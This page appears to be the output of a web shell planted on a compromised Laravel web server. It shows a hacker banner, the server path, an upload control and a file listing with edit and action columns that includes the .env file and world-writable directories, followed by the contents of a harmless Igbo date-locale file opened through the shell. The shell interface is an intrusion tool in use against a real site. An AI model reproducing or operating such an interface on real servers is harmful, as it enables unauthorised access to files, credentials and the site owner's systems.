I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/*
* Authors:
* - pablo@mandriva.com
*/
return array_replace_recursive(require __DIR__.'/en.php', [
'formats' => [
'L' => 'DD/MM/YY',
],
'months' => ['Jenụwarị', 'Febrụwarị', 'Maachị', 'Eprel', 'Mee', 'Juun', 'Julaị', 'Ọgọọst', 'Septemba', 'Ọktoba', 'Novemba', 'Disemba'],
'months_short' => ['Jen', 'Feb', 'Maa', 'Epr', 'Mee', 'Juu', 'Jul', 'Ọgọ', 'Sep', 'Ọkt', 'Nov', 'Dis'],
'weekdays' => ['sọnde', 'mọnde', 'tuzde', 'wenzde', 'tọsde', 'fraịde', 'satọde'],
'weekdays_short' => ['sọn', 'mọn', 'tuz', 'wen', 'tọs', 'fra', 'sat'],
'weekdays_min' => ['sọn', 'mọn', 'tuz', 'wen', 'tọs', 'fra', 'sat'],
'first_day_of_week' => 1,
'day_of_first_week_of_year' => 1,
'year' => 'afo :count',
'y' => 'afo :count',
'a_year' => 'afo :count',
'month' => 'önwa :count',
'm' => 'önwa :count',
'a_month' => 'önwa :count',
'week' => 'izu :count',
'w' => 'izu :count',
'a_week' => 'izu :count',
'day' => 'ụbọchị :count',
'd' => 'ụbọchị :count',
'a_day' => 'ụbọchị :count',
'hour' => 'awa :count',
'h' => 'awa :count',
'a_hour' => 'awa :count',
'minute' => 'minit :count',
'min' => 'minit :count',
'a_minute' => 'minit :count',
'second' => 'sekọnd :count',
's' => 'sekọnd :count',
'a_second' => 'sekọnd :count',
]);